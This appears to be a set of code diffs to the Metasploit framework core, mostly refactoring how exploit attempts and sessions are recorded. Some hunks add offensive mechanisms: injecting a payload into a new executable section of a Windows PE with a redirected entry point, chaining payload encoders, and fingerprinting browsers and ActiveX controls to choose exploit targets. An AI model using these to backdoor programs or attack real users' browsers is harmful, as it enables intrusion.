# No internal address matches what we see externally and no
# interface has a default route. Fall back to the first
# non-loopback address
non_loopback = ifaces.find { |i| i.ip != "127.0.0.1" && i.ip != "::1" }
if non_loopback
nhost = non_loopback.ip

View File

@ -108,9 +108,9 @@ module Auxiliary::AuthBrute
# This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing SSHKeys
# from the database. This allows the users to use the DB_ALL_CREDS option.
#
# @param cred_collection [Metasploit::Framework::CredentialCollection]
# @param [Metasploit::Framework::CredentialCollection] cred_collection
# the credential collection to add to
# @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection
# @return [Metasploit::Framework::CredentialCollection] cred_collection the modified Credentialcollection
def prepend_db_keys(cred_collection)
if prepend_db_creds?
each_ssh_cred do |cred|
@ -140,8 +140,8 @@ module Auxiliary::AuthBrute
# {Metasploit::Framework::CredentialCollection} as dictated by the
# selected datastore options.
#
# @param [Metasploit::Framework::CredentialCollection] the credential collection to add to
# @param [Metasploit::Credential::Core] the Credential Core to process
# @param [Metasploit::Framework::CredentialCollection] cred_collection the credential collection to add to
# @param [Metasploit::Credential::Core] cred the credential to process
def process_cred_for_collection(cred_collection, cred)
msf_cred = cred.to_credential
cred_collection.prepend_cred(msf_cred) if datastore['DB_ALL_CREDS']

View File

@ -77,7 +77,7 @@ module Auxiliary::JohnTheRipper
end
# This method instantiates a {Metasploit::Framework::JtR::Wordlist}, writes the data
# out to a file and returns the {rex::quickfile} object.
# out to a file and returns the {Rex::Quickfile} object.
#
# @return [nilClass] if there is no active framework db connection
# @return [Rex::Quickfile] if it successfully wrote the wordlist to a file

View File

@ -113,13 +113,11 @@ module Auxiliary::Report
#
# Report a client connection
#
# opts must contain
# :host the address of the client connecting
# :ua_string a string that uniquely identifies this client
# opts can contain
# :ua_name a brief identifier for the client, e.g. "Firefox"
# :ua_ver the version number of the client, e.g. "3.0.11"
# @param opts [Hash] report client information based on user-agent
# @option opts [String] :host the address of the client connecting
# @option opts [String] :ua_string a string that uniquely identifies this client
# @option opts [String] :ua_name a brief identifier for the client, e.g. "Firefox"
# @option opts [String] :ua_ver the version number of the client, e.g. "3.0.11"
#
def report_client(opts={})
return if not db
@ -161,7 +159,7 @@ module Auxiliary::Report
# by a module. This method is deprecated and the new Metasploit::Credential methods
# should be used directly instead.
#
# @param :opts [Hash] the option hash
# @param opts [Hash] the option hash
# @option opts [String] :host the address of the host (also takes a {Mdm::Host})
# @option opts [Fixnum] :port the port of the connected service
# @option opts [Mdm::Service] :service an optional Service object to build the cred for

View File

@ -23,6 +23,10 @@ require 'msf/core/service_state'
class Msf::DBManager
extend Metasploit::Framework::Require
# Default proto for making new `Mdm::Service`s. This should probably be a
# const on `Mdm::Service`
DEFAULT_SERVICE_PROTO = "tcp"
autoload :Adapter, 'msf/core/db_manager/adapter'
autoload :Client, 'msf/core/db_manager/client'
autoload :Connection, 'msf/core/db_manager/connection'

View File

@ -27,186 +27,152 @@ module Msf::DBManager::ExploitAttempt
}
end
# Create an `Mdm::ExploitAttempt` (and possibly an `Mdm::VulnAttempt`, if
# the `vuln` option is passed).
#
# @option (see #do_report_failure_or_success)
# @return (see #do_report_failure_or_success)
def report_exploit_failure(opts)
return unless opts.has_key?(:refs) && !opts[:refs].blank?
host = opts[:host] || return
::ActiveRecord::Base.connection_pool.with_connection {
wspace = opts.delete(:workspace) || workspace
mrefs = opts.delete(:refs) || return
host = opts.delete(:host)
port = opts.delete(:port)
prot = opts.delete(:proto)
svc = opts.delete(:service)
vuln = opts.delete(:vuln)
timestamp = opts.delete(:timestamp)
freason = opts.delete(:fail_reason)
fdetail = opts.delete(:fail_detail)
username = opts.delete(:username)
mname = opts.delete(:module)
# Look up the host as appropriate
if not (host and host.kind_of? ::Mdm::Host)
if svc.kind_of? ::Mdm::Service
host = svc.host
else
host = get_host( :workspace => wspace, :address => host )
end
end
# Bail if we dont have a host object
return if not host
wspace = opts[:workspace] || workspace
port = opts[:port]
prot = opts[:proto] || Msf::DBManager::DEFAULT_SERVICE_PROTO
svc = opts[:service]
# Look up the service as appropriate
if port and svc.nil?
prot ||= "tcp"
svc = get_service(wspace, host, prot, port) if port
svc = get_service(wspace, host, prot, port)
end
if not vuln
# Create a references map from the module list
ref_objs = ::Mdm::Ref.where(:name => mrefs.map { |ref|
if ref.respond_to?(:ctx_id) and ref.respond_to?(:ctx_val)
"#{ref.ctx_id}-#{ref.ctx_val}"
else
ref.to_s
end
})
# Try find a matching vulnerability
vuln = find_vuln_by_refs(ref_objs, host, svc)
end
# Report a vuln_attempt if we found a match
if vuln
attempt_info = {
:attempted_at => timestamp || Time.now.utc,
:exploited => false,
:fail_reason => freason,
:fail_detail => fdetail,
:username => username || "unknown",
:module => mname
}
vuln.vuln_attempts.create(attempt_info)
end
# Report an exploit attempt all the same
attempt_info = {
:attempted_at => timestamp || Time.now.utc,
:exploited => false,
:username => username || "unknown",
:module => mname,
:fail_reason => freason,
:fail_detail => fdetail
}
attempt_info[:vuln_id] = vuln.id if vuln
if svc
attempt_info[:port] = svc.port
attempt_info[:proto] = svc.proto
end
if port and svc.nil?
attempt_info[:port] = port
attempt_info[:proto] = prot || "tcp"
end
host.exploit_attempts.create(attempt_info)
}
end
def report_exploit_success(opts)
::ActiveRecord::Base.connection_pool.with_connection {
wspace = opts.delete(:workspace) || workspace
mrefs = opts.delete(:refs) || return
host = opts.delete(:host)
port = opts.delete(:port)
prot = opts.delete(:proto)
svc = opts.delete(:service)
vuln = opts.delete(:vuln)
timestamp = opts.delete(:timestamp)
username = opts.delete(:username)
mname = opts.delete(:module)
# Look up or generate the host as appropriate
if not (host and host.kind_of? ::Mdm::Host)
# Look up the host as appropriate
if !host || !host.kind_of?(::Mdm::Host)
if svc.kind_of? ::Mdm::Service
host = svc.host
else
host = report_host(:workspace => wspace, :address => host )
host = get_host(workspace: wspace, address: host)
end
end
# Bail if we dont have a host object
return if not host
opts = opts.dup
opts[:service] = svc
opts[:host] = host
do_report_failure_or_success(opts)
end
# Create an `Mdm::ExploitAttempt` (and possibly an `Mdm::VulnAttempt`, if
# the `vuln` option is passed).
#
# @return (see #do_report_failure_or_success)
def report_exploit_success(opts)
return unless opts[:refs]
host = opts[:host] || return
wspace = opts[:workspace] || workspace
port = opts[:port]
prot = opts[:proto] || Msf::DBManager::DEFAULT_SERVICE_PROTO
svc = opts[:service]
# Look up or generate the service as appropriate
if port and svc.nil?
svc = report_service(:workspace => wspace, :host => host, :port => port, :proto => prot ) if port
# it is rude to modify arguments in place
opts = opts.dup
opts[:proto] ||= Msf::DBManager::DEFAULT_SERVICE_PROTO
opts[:service] = report_service(
workspace: wspace, host: host, port: port, proto: prot
)
end
if not vuln
# Create a references map from the module list
ref_objs = ::Mdm::Ref.where(:name => mrefs.map { |ref|
if ref.respond_to?(:ctx_id) and ref.respond_to?(:ctx_val)
"#{ref.ctx_id}-#{ref.ctx_val}"
else
ref.to_s
end
})
do_report_failure_or_success(opts)
end
# Try find a matching vulnerability
vuln = find_vuln_by_refs(ref_objs, host, svc)
end
private
# @option opts [Array<String>, Array<Msf::Module::Reference>] :refs
# @option opts [Mdm::Host] :host
# @option opts [Mdm::Service] :service
# @option opts [Integer] :port (nil)
# @option opts ["tcp","udp"] :proto (Msf::DBManager::DEFAULT_SERVICE_PROTO) See `Mdm::Service::PROTOS`
# @option opts [Mdm::Vuln] :vuln (nil)
# @option opts [Time] :timestamp (nil)
# @option opts [Mdm::Vuln] :timestamp (nil)
# @option opts [String] :module (nil)
# @return [void]
def do_report_failure_or_success(opts)
return unless opts[:refs]
::ActiveRecord::Base.connection_pool.with_connection {
mrefs = opts[:refs]
host = opts[:host]
port = opts[:port]
prot = opts[:proto]
svc = opts[:service]
vuln = opts[:vuln]
timestamp = opts[:timestamp]
freason = opts[:fail_reason]
fdetail = opts[:fail_detail]
username = opts[:username]
mname = opts[:module]
if vuln.nil?
ref_names = mrefs.map { |ref|
if ref.respond_to?(:ctx_id) and ref.respond_to?(:ctx_val)
"#{ref.ctx_id}-#{ref.ctx_val}"
else
ref.to_s
end
}
# Create a references map from the module list
ref_objs = ::Mdm::Ref.where(name: ref_names)
# Try find a matching vulnerability
vuln = find_vuln_by_refs(ref_objs, host, svc)
end
# We have match, lets create a vuln_attempt record
if vuln
attempt_info = {
:vuln_id => vuln.id,
:attempted_at => timestamp || Time.now.utc,
:exploited => true,
:exploited => (freason.nil? ? true : false),
:fail_detail => fdetail,
:fail_reason => freason,
:module => mname,
:username => username || "unknown",
:module => mname
}
attempt_info[:session_id] = opts[:session_id] if opts[:session_id]
attempt_info[:loot_id] = opts[:loot_id] if opts[:loot_id]
vuln.vuln_attempts.create(attempt_info)
# We have match, lets create a vuln_attempt record
if vuln
attempt_info[:vuln_id] = vuln.id
vuln.vuln_attempts.create(attempt_info)
# Correct the vuln's associated service if necessary
if svc and vuln.service_id.nil?
vuln.service = svc
vuln.save
# Correct the vuln's associated service if necessary
if svc and vuln.service_id.nil?
vuln.service = svc
vuln.save
end
end
end
# Report an exploit attempt all the same
attempt_info = {
:attempted_at => timestamp || Time.now.utc,
:exploited => true,
:username => username || "unknown",
:module => mname
# Report an exploit attempt all the same
if svc
attempt_info[:port] = svc.port
attempt_info[:proto] = svc.proto
end
if port and svc.nil?
attempt_info[:port] = port
attempt_info[:proto] = prot || Msf::DBManager::DEFAULT_SERVICE_PROTO
end
host.exploit_attempts.create(attempt_info)
}
attempt_info[:vuln_id] = vuln.id if vuln
attempt_info[:session_id] = opts[:session_id] if opts[:session_id]
attempt_info[:loot_id] = opts[:loot_id] if opts[:loot_id]
if svc
attempt_info[:port] = svc.port
attempt_info[:proto] = svc.proto
end
if port and svc.nil?
attempt_info[:port] = port
attempt_info[:proto] = prot || "tcp"
end
host.exploit_attempts.create(attempt_info)
}
end
end
end

View File

@ -96,8 +96,7 @@ module Msf::DBManager::Host
norm_host = host.host
elsif host.respond_to?(:session_host)
# Then it's an Msf::Session object
thost = host.session_host
norm_host = thost
norm_host = host.session_host
end
# If we got here and don't have a norm_host yet, it could be a
@ -325,4 +324,4 @@ module Msf::DBManager::Host
host
}
end
end
end

View File

@ -26,7 +26,7 @@ module Msf::DBManager::Import::Qualys::Asset
qid = vuln.elements['QID'].first.to_s
vuln_refs[qid] ||= []
vuln.elements.each('CVE_ID_LIST/CVE_ID') do |ref|
vuln_refs[qid].push('CVE-' + /C..-([0-9\-]{9})/.match(ref.elements['ID'].text.to_s)[1])
vuln_refs[qid].push('CVE-' + /C..-([0-9\-]{9,})/.match(ref.elements['ID'].text.to_s)[1])
end
vuln.elements.each('BUGTRAQ_ID_LIST/BUGTRAQ_ID') do |ref|
vuln_refs[qid].push('BID-' + ref.elements['ID'].text.to_s)
@ -95,4 +95,4 @@ module Msf::DBManager::Import::Qualys::Asset
end # host
end
end
end

View File

@ -70,7 +70,7 @@ module Msf::DBManager::Import::Qualys::Scan
refs.push(ref.elements['ID'].text.to_s)
end
vuln.elements.each('CVE_ID_LIST/CVE_ID') do |ref|
refs.push('CVE-' + /C..-([0-9\-]{9})/.match(ref.elements['ID'].text.to_s)[1])
refs.push('CVE-' + /C..-([0-9\-]{9,})/.match(ref.elements['ID'].text.to_s)[1])
end
vuln.elements.each('BUGTRAQ_ID_LIST/BUGTRAQ_ID') do |ref|
refs.push('BID-' + ref.elements['ID'].text.to_s)

View File

@ -85,7 +85,7 @@ module Msf::DBManager::Service
end
=end
proto = opts[:proto] || 'tcp'
proto = opts[:proto] || Msf::DBManager::DEFAULT_SERVICE_PROTO
service = host.services.where(port: opts[:port].to_i, proto: proto).first_or_initialize
opts.each { |k,v|
@ -126,4 +126,4 @@ module Msf::DBManager::Service
wspace.services.includes(:host).where(conditions).order("hosts.address, port")
}
end
end
end

View File

@ -74,101 +74,66 @@ module Msf::DBManager::Session
# @raise [ActiveRecord::RecordInvalid] if session is invalid and cannot be
# saved.
#
# @raise ArgumentError if :host and :session is +nil+
# @raise ArgumentError if :host and :session are both +nil+
def report_session(opts)
return if not active
::ActiveRecord::Base.connection_pool.with_connection {
if opts[:session]
raise ArgumentError.new("Invalid :session, expected Msf::Session") unless opts[:session].kind_of? Msf::Session
session = opts[:session]
wspace = opts[:workspace] || find_workspace(session.workspace)
h_opts = { }
h_opts[:host] = normalize_host(session)
h_opts[:arch] = session.arch if session.respond_to?(:arch) and session.arch
h_opts[:workspace] = wspace
host = find_or_create_host(h_opts)
sess_data = {
:host_id => host.id,
:stype => session.type,
:desc => session.info,
:platform => session.platform,
:via_payload => session.via_payload,
:via_exploit => session.via_exploit,
:routes => [],
:datastore => session.exploit_datastore.to_h,
:port => session.session_port,
:opened_at => Time.now.utc,
:last_seen => Time.now.utc,
:local_id => session.sid
}
s = create_mdm_session_from_session(opts)
session.db_record = s
elsif opts[:host]
raise ArgumentError.new("Invalid :host, expected Host object") unless opts[:host].kind_of? ::Mdm::Host
host = opts[:host]
sess_data = {
:host_id => host.id,
:stype => opts[:stype],
:desc => opts[:desc],
:platform => opts[:platform],
:via_payload => opts[:via_payload],
:via_exploit => opts[:via_exploit],
:routes => opts[:routes] || [],
:datastore => opts[:datastore],
:opened_at => opts[:opened_at],
:closed_at => opts[:closed_at],
:last_seen => opts[:last_seen] || opts[:closed_at],
:close_reason => opts[:close_reason],
}
s = create_mdm_session_from_host(opts)
else
raise ArgumentError.new("Missing option :session or :host")
end
ret = {}
# Truncate the session data if necessary
if sess_data[:desc]
sess_data[:desc] = sess_data[:desc][0,255]
end
wspace = s.workspace
# In the case of multi handler we cannot yet determine the true
# exploit responsible. But we can at least show the parent versus
# just the generic handler:
if session and session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule']
sess_data[:via_exploit] = sess_data[:datastore]['ParentModule']
end
s = ::Mdm::Session.new(sess_data)
s.save!
if session and session.exploit_task and session.exploit_task.record
session_task = session.exploit_task.record
if session_task.class == Mdm::Task
Mdm::TaskSession.create(:task => session_task, :session => s )
if session
if session.exploit.user_data_is_match?
MetasploitDataModels::AutomaticExploitation::MatchResult.create!(
match: session.exploit.user_data[:match],
match_set: session.exploit.user_data[:match_set],
run: session.exploit.user_data[:run],
state: 'succeeded',
)
elsif session.via_exploit
# This is a live session, we know the host is vulnerable to something.
infer_vuln_from_session(session, wspace)
end
end
s
}
end
if opts[:session]
session.db_record = s
end
protected
# If this is a live session, we know the host is vulnerable to something.
if opts[:session] and session.via_exploit
mod = framework.modules.create(session.via_exploit)
# @param session [Msf::Session] A session with a {db_record Msf::Session#db_record}
# @param wspace [Mdm::Workspace]
# @return [void]
def infer_vuln_from_session(session, wspace)
::ActiveRecord::Base.connection_pool.with_connection {
s = session.db_record
host = s.host
if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule']
mod_fullname = sess_data[:datastore]['ParentModule']
mod_name = ::Mdm::Module::Detail.find_by_fullname(mod_fullname).name
if session.via_exploit == "exploit/multi/handler" and session.exploit_datastore['ParentModule']
mod_fullname = session.exploit_datastore['ParentModule']
else
mod_name = mod.name
mod_fullname = mod.fullname
mod_fullname = session.via_exploit
end
mod_detail = ::Mdm::Module::Detail.find_by_fullname(mod_fullname)
mod_name = mod_detail.name
vuln_info = {
:host => host.address.to_s,
:name => mod_name,
:refs => mod.references,
:workspace => wspace,
:exploited_at => Time.now.utc,
:info => "Exploited by #{mod_fullname} to create Session #{s.id}"
exploited_at: Time.now.utc,
host: host,
info: "Exploited by #{mod_fullname} to create Session #{s.id}",
name: mod_name,
refs: mod_detail.refs.map(&:name),
workspace: wspace,
}
port = session.exploit_datastore["RPORT"]
@ -178,28 +143,105 @@ module Msf::DBManager::Session
vuln = framework.db.report_vuln(vuln_info)
if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule']
via_exploit = sess_data[:datastore]['ParentModule']
else
via_exploit = session.via_exploit
end
attempt_info = {
:timestamp => Time.now.utc,
:workspace => wspace,
:module => via_exploit,
:username => session.username,
:refs => mod.references,
:session_id => s.id,
:host => host,
:service => service,
:vuln => vuln
host: host,
module: mod_fullname,
refs: mod_detail.refs,
service: service,
session_id: s.id,
timestamp: Time.now.utc,
username: session.username,
vuln: vuln,
workspace: wspace,
}
framework.db.report_exploit_success(attempt_info)
end
s
}
vuln
}
end
end
def create_mdm_session_from_session(opts)
::ActiveRecord::Base.connection_pool.with_connection {
session = opts[:session]
raise ArgumentError.new("Invalid :session, expected Msf::Session") unless session.kind_of? Msf::Session
wspace = opts[:workspace] || find_workspace(session.workspace)
h_opts = { }
h_opts[:host] = normalize_host(session)
h_opts[:arch] = session.arch if session.respond_to?(:arch) and session.arch
h_opts[:workspace] = wspace
host = find_or_create_host(h_opts)
sess_data = {
datastore: session.exploit_datastore.to_h,
desc: truncate_session_desc(session.info),
host_id: host.id,
last_seen: Time.now.utc,
local_id: session.sid,
opened_at: Time.now.utc,
platform: session.platform,
port: session.session_port,
routes: [],
stype: session.type,
via_exploit: session.via_exploit,
via_payload: session.via_payload,
}
# In the case of multi handler we cannot yet determine the true
# exploit responsible. But we can at least show the parent versus
# just the generic handler:
if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule']
sess_data[:via_exploit] = sess_data[:datastore]['ParentModule']
end
s = ::Mdm::Session.create!(sess_data)
if session.exploit_task and session.exploit_task.record
session_task = session.exploit_task.record
if session_task.class == Mdm::Task
Mdm::TaskSession.create(task: session_task, session: s )
end
end
s
}
end
def create_mdm_session_from_host(opts)
::ActiveRecord::Base.connection_pool.with_connection {
host = opts[:host]
raise ArgumentError.new("Invalid :host, expected Host object") unless host.kind_of? ::Mdm::Host
sess_data = {
host_id: host.id,
stype: opts[:stype],
desc: truncate_session_desc(opts[:desc]),
platform: opts[:platform],
via_payload: opts[:via_payload],
via_exploit: opts[:via_exploit],
routes: opts[:routes] || [],
datastore: opts[:datastore],
opened_at: opts[:opened_at],
closed_at: opts[:closed_at],
last_seen: opts[:last_seen] || opts[:closed_at],
close_reason: opts[:close_reason],
}
s = ::Mdm::Session.create!(sess_data)
s
}
end
# Truncate the session data if necessary
#
# @param desc [String]
# @return [String] +desc+ truncated to the max length of the desc column
def truncate_session_desc(desc)
# Truncate the session data if necessary
if desc
desc = desc[0, ::Mdm::Session.columns_hash['desc'].limit]
end
desc
end
end

View File

@ -49,8 +49,6 @@ class EncodedPayload
self.nop_sled = nil
self.encoder = nil
self.nop = nil
self.iterations = reqs['Iterations'].to_i
self.iterations = 1 if self.iterations < 1
# Increase thread priority as necessary. This is done
# to ensure that the encoding and sled generation get
@ -71,8 +69,27 @@ class EncodedPayload
# Generate the raw version of the payload first
generate_raw() if self.raw.nil?
# Encode the payload
encode()
# If encoder is set, it could be an encoders list
# The form is "<encoder>:<iteration>, <encoder2>:<iteration>"...
if reqs['Encoder']
encoder_str = reqs['Encoder']
encoder_str.scan(/([^:, ]+):?([^,]+)?/).map do |encoder_opt|
reqs['Encoder'] = encoder_opt[0]
self.iterations = (encoder_opt[1] || reqs['Iterations']).to_i
self.iterations = 1 if self.iterations < 1
# Encode the payload with every encoders in the list
encode()
# Encoded payload is now the raw payload to be encoded by the next encoder
self.raw = self.encoded
end
else
self.iterations = reqs['Iterations'].to_i
self.iterations = 1 if self.iterations < 1
# No specified encoder, let BadChars or ForceEncode do their job
encode()
end
# Build the NOP sled
generate_sled()
@ -110,7 +127,7 @@ class EncodedPayload
def encode
# If the exploit has bad characters, we need to run the list of encoders
# in ranked precedence and try to encode without them.
if reqs['BadChars'] or reqs['Encoder'] or reqs['ForceEncode']
if reqs['BadChars'].to_s.length > 0 or reqs['Encoder'] or reqs['ForceEncode']
encoders = pinst.compatible_encoders
# Make sure the encoder name from the user has the same String#encoding

View File

@ -0,0 +1,51 @@
# -*- coding: binary -*-
module Msf
module Exe
require 'metasm'
require 'msf/core/exe/segment_injector'
class SegmentAppender < SegmentInjector
def payload_stub(prefix)
# TODO: Implement possibly helpful payload obfuscation
asm = "new_entrypoint:\n#{prefix}\n"
shellcode = Metasm::Shellcode.assemble(processor, asm)
shellcode.encoded + @payload
end
def generate_pe
# Copy our Template into a new PE
pe_orig = Metasm::PE.decode_file(template)
pe = pe_orig.mini_copy
# Copy the headers and exports
pe.mz.encoded = pe_orig.encoded[0, pe_orig.coff_offset-4]
pe.mz.encoded.export = pe_orig.encoded[0, 512].export.dup
pe.header.time = pe_orig.header.time
# Don't rebase if we can help it since Metasm doesn't do relocations well
pe.optheader.dll_characts.delete("DYNAMIC_BASE")
# TODO: Look at supporting DLLs in the future
prefix = ''
# Create a new section
s = Metasm::PE::Section.new
s.name = '.' + Rex::Text.rand_text_alpha_lower(4)
s.encoded = payload_stub prefix
s.characteristics = %w[MEM_READ MEM_WRITE MEM_EXECUTE]
pe.sections << s
pe.invalidate_header
# Change the entrypoint to our new section
pe.optheader.entrypoint = 'new_entrypoint'
pe.cpu = pe_orig.cpu
pe.encode_string
end
end
end
end

View File

@ -59,20 +59,11 @@ module Exe
EOS
end
def payload_as_asm
asm = ''
@payload.each_byte do |byte|
asm << "db " + sprintf("0x%02x", byte) + "\n"
end
return asm
end
def payload_stub(prefix)
asm = "hook_entrypoint:\n#{prefix}\n"
asm << create_thread_stub
asm << payload_as_asm
shellcode = Metasm::Shellcode.assemble(processor, asm)
shellcode.encoded
shellcode.encoded + @payload
end
def generate_pe

View File

@ -305,7 +305,7 @@ module Exploit::Remote::HttpServer
when /opera\/(\d+(:?\.\d+)*)/
fp[:ua_name] = HttpClients::OPERA
fp[:ua_ver] = $1
when /mozilla\/[0-9]+\.[0-9] \(compatible; msie ([0-9]+\.[0-9]+)/
when /mozilla\/[0-9]+\.[0-9] \(compatible; msie ([0-9]+\.[0-9]+)/i, /mozilla\/[0-9]+\.[0-9] \(.+ rv:([0-9]+\.[0-9])\)/i
fp[:ua_name] = HttpClients::IE
fp[:ua_ver] = $1
else

View File

@ -49,24 +49,30 @@ module Msf
# Requirements a browser module can define in either BrowserRequirements or in targets
REQUIREMENT_KEY_SET = Set.new([
:source, # Either 'script' or 'headers'
:ua_name, # Example: MSIE
:ua_ver, # Example: 8.0, 9.0
:os_name, # Example: Windows 7, Linux
:os_device, # Example: iPad, iPhone, etc
:os_vendor, # Example: Microsoft, Ubuntu, Apple, etc
:os_sp, # Example: SP2
:language, # Example: en-us
:arch, # Example: x86
:proxy, # 'true' or 'false'
:silverlight, # 'true' or 'false'
:office, # Example: "2007", "2010"
:java, # Example: 1.6, 1.6.0.0
:clsid, # ActiveX clsid. Also requires the :method key
:method, # ActiveX method. Also requires the :clsid key
:mshtml_build, # mshtml build. Example: "65535"
:flash, # Example: "12.0" (chrome/ff) or "12.0.0.77" (IE)
:vuln_test # Example: "if(window.MyComponentIsInstalled)return true;"
:source, # Return either 'script' or 'headers'
:ua_name, # Example: Returns 'MSIE'
:ua_ver, # Example: Returns '8.0', '9.0'
:os_name, # Example: Returns 'Windows 7', 'Linux'
:os_device, # Example: Returns 'iPad', 'iPhone', etc
:os_vendor, # Example: Returns 'Microsoft', 'Ubuntu', 'Apple', etc
:os_sp, # Example: Returns 'SP2'
:language, # Example: Returns 'en-us'
:arch, # Example: Returns 'x86'
:proxy, # Returns 'true' or 'false'
:silverlight, # Returns 'true' or 'false'
:office, # Example: Returns "2007", "2010"
:java, # Example: Return '1.6', or maybe '1.6.0.0' (depends)
:mshtml_build, # mshtml build. Example: Returns "65535"
:flash, # Example: Returns "12.0" (chrome/ff) or "12.0.0.77" (IE)
:vuln_test, # Example: "if(window.MyComponentIsInstalled)return true;",
# :activex is a special case.
# When you set this requirement in your module, this is how it should be:
# [{:clsid=>'String', :method=>'String'}]
# Where each Hash is a test case
# But when BES receives this information, the JavaScript will return this format:
# "{CLSID}=>Method=>Boolean;"
# Also see: #has_bad_activex?
:activex
])
def initialize(info={})
@ -105,68 +111,61 @@ module Msf
super
end
#
# Returns the custom 404 URL set by the user
#
# @return [String]
#
def get_custom_404_url
datastore['Custom404'].to_s
end
#
# Allows a block of code to access BES resources in a thread-safe fashion
#
# @param block [Proc] Block of code to sync
#
def sync(&block)
(@mutex ||= Mutex.new).synchronize(&block)
end
#
# Returns the resource (URI) to the module to allow access to on_request_exploit
#
# @return [String] URI to the exploit page
#
def get_module_resource
"#{get_resource.to_s.chomp("/")}/#{@exploit_receiver_page}/"
end
#
# Returns the absolute URL to the module's resource that points to on_request_exploit
#
# @return [String] absolute URI to the exploit page
#
def get_module_uri
"#{get_uri.chomp("/")}/#{@exploit_receiver_page}"
end
#
# Returns the current target
#
def get_target
@target
end
#
# Returns a hash of recognizable requirements
#
# @param reqs [Hash] A hash that contains data for the requirements
# @return [Hash] A hash of requirements
#
def extract_requirements(reqs)
tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.include?(k.to_sym)}
# Make sure keys are always symbols
Hash[tmp.map{|(k,v)| [k.to_sym,v]}]
end
#
# Sets the target automatically based on what requirements are met.
# If there's a possible matching target, it will also merge the requirements.
# You can use the get_target() method to retrieve the most current target.
#
# @param profile [Hash] The profile to check
#
def try_set_target(profile)
match_counts = []
target_requirements = {}
@ -195,30 +194,36 @@ module Msf
end
end
#
# Returns true if there's a bad ActiveX, otherwise false.
# @param ax [String] The raw activex the JavaScript detection will return in this format:
# "{CLSID}=>Method=>Boolean;"
# @return [Boolean] True if there's a bad ActiveX, otherwise false
def has_bad_activex?(ax)
ax.split(';').each do |a|
bool = a.split('=>')[2]
if bool == 'false'
return true
end
end
false
end
# Returns an array of items that do not meet the requirements
#
# @param profile [Hash] The profile to check
# @return [Array] An array of requirements not met
#
def get_bad_requirements(profile)
bad_reqs = []
# At this point the check is already done.
# If :activex is true, that means the clsid + method had a match,
# if not, then false.
if @requirements[:clsid] and @requirements[:method]
@requirements[:activex] = 'true' # Script passes boolean as string
end
@requirements.each do |k, v|
# Special keys to ignore because the script registers this as [:activex] = true or false
next if k == :clsid or k == :method
expected = k != :vuln_test ? v : 'true'
vprint_debug("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k.to_sym]}")
if k == :vuln_test
if k == :activex
bad_reqs << k if has_bad_activex?(profile[k.to_sym])
elsif k == :vuln_test
bad_reqs << k unless profile[k.to_sym].to_s == 'true'
elsif v.is_a? Regexp
bad_reqs << k if profile[k.to_sym] !~ v
@ -232,7 +237,6 @@ module Msf
bad_reqs
end
#
# Returns the target profile based on the tag. Each profile has the following structure:
# 'cookie_name' =>
# {
@ -253,7 +257,7 @@ module Msf
#
# If the source is 'script', the profile might have even more information about plugins:
# 'office' : The version of Microsoft Office (IE only)
# 'activex' : Whether a specific method is available from an ActiveX control (IE only)
# 'activex' : Whether a specific set of clsid & method is available from an ActiveX control (IE only)
# 'java' : The Java version
# 'mshtml_build' : The MSHTML build version
# 'flash' : The Flash version
@ -261,45 +265,41 @@ module Msf
#
# @param tag [String] Either a cookie or IP + User-Agent
# @return [Hash] The profile found. If not found, returns nil
#
def get_profile(tag)
sync do
return @target_profiles[tag]
end
end
#
# Updates information for a specific profile
#
# @param target_profile [Hash] The profile to update
# @param key [Symbol] The symbol to use for the hash
# @param value [String] The value to assign
#
def update_profile(target_profile, key, value)
sync do
target_profile[key] = value
end
end
#
# Initializes a profile, if it did not previously exist
#
# @param tag [String] A unique string as a way to ID the profile
#
def init_profile(tag)
sync do
@target_profiles[tag] ||= {}
end
end
#
# Retrieves a tag.
# First it obtains the tag from the browser's "Cookie" header.
# If the header is empty (possible if the browser has cookies disabled),
# then it will return a tag based on IP + the user-agent.
#
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
#
def retrieve_tag(cli, request)
cookie = CGI::Cookie.parse(request.headers['Cookie'].to_s)
tag = cookie.has_key?(cookie_name) && cookie[cookie_name].first
@ -317,13 +317,12 @@ module Msf
tag
end
#
# Registers target information to @target_profiles
#
# @param source [Symbol] Either :script, or :headers
# @param cli [Socket] Socket for the browser
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
#
def process_browser_info(source, cli, request)
tag = retrieve_tag(cli, request)
init_profile(tag)
@ -361,23 +360,21 @@ module Msf
})
end
#
# Checks if the target is running a proxy
#
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
# @return [Boolean] True if found, otherwise false
#
def has_proxy?(request)
proxy_header_set = PROXY_REQUEST_HEADER_SET & request.headers.keys
!proxy_header_set.empty?
end
#
# Returns the code for client-side detection
#
# @param user_agent [String] The user-agent of the browser
# @return [String] Returns the HTML for detection
#
def get_detection_html(user_agent)
ua_info = fingerprint_user_agent(user_agent)
os = ua_info[:os_name]
@ -418,11 +415,20 @@ module Msf
d['office'] = ie_addons_detect.getMsOfficeVersion();
d['mshtml_build'] = ScriptEngineBuildVersion().toString();
<%
clsid = @requirements[:clsid]
method = @requirements[:method]
if clsid and method
activex = @requirements[:activex]
if activex
activex.each do \|a\|
clsid = a[:clsid]
method = a[:method]
%>
d['activex'] = ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>');
var ax = ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>');
d['activex'] = "";
if (ax == true) {
d['activex'] += "<%=clsid%>=><%=method%>=>true;";
} else {
d['activex'] += "<%=clsid%>=><%=method%>=>false;";
}
<% end %>
<% end %>
<% end %>
@ -438,7 +444,7 @@ module Msf
%Q|
<script>
#{js}
#{code}
</script>
<noscript>
<img style="visibility:hidden" src="#{get_resource.chomp("/")}/#{@noscript_receiver_page}/">
@ -462,12 +468,11 @@ module Msf
cookie
end
#
# Handles exploit stages.
#
# @param cli [Socket] Socket for the browser
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
#
def on_request_uri(cli, request)
case request.uri
when '/', get_resource.chomp("/")
@ -548,18 +553,17 @@ module Msf
end
end
#
# Overriding method. The module should override this.
#
# @param cli [Socket] Socket for the browser
